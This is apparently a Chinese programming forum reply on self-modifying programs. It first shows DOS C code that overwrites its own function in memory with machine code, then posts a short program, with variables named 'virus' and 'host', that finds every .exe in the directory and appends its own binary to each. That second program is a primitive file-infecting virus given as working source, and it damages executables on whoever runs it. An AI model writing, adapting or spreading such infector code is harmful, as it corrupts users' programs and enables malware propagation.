咦 怎么做啊?

粗心是大敌
程序代码:#include<stdio.h>
#include<string.h>
#include<mem.h>
typedef void (*StackFn)(void);
void print(void);
int main()
{
char a[]={186,169 ,1,187,1,0,180,64,185,12,0,205,33,180,1,205,33,180,76,205,33}; /*打印“hello wrold”的机器码*/
char s[]="hello world!";
StackFn pf1;
char *ptr;
int i;
print(); /*未修改之前,print执行原来代码*/
pf1=print;
ptr=a;
asm push ds /*将a数组内容复制到print函数处,覆盖其代码,使其打印"hello world"*/
asm mov es,[bp-4] /*准备用指针实现复制的,但是由于是远指针,功力有限,没有实现*/
asm mov di,[bp-6]
asm mov cx,28
asm push ss
asm pop ds
asm mov si,[bp-2]
asm rep movsb
asm pop ds
print(); /*修改后的print函数,内容已改变*/
return 0;
}
void print(void)
{
printf("I'am in func print\n");
}
用的是自己修改自己内存中代码的方法实现修改自己的方法
由于功力有限,只能用汇编实现
要用C实现的话,求求东海大仙吧!
下面是修改磁盘中自身文件的方法
不想多打字了,用个以前写的凑下数
#include<stdio.h>
#include<dir.h>
#include<dos.h>
int main()
{
FILE *virus,*host;
char buffer[256];
int done,x;
struct ffblk fb;
done=findfirst("*.exe",&fb,0);
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(fb.ff_name,"ab");
x=8352;
while(x>256)
{
fread(buffer,256,1,virus);
fwrite(buffer,256,1,host);
x-=256;
}
fread(buffer,x,1,virus);
fwrite(buffer,x,1,host);
fcloseall();
done=findnext(&fb);
}
return 0;
}
原理就是搜索满足要求的文件,再修改
期待东海大仙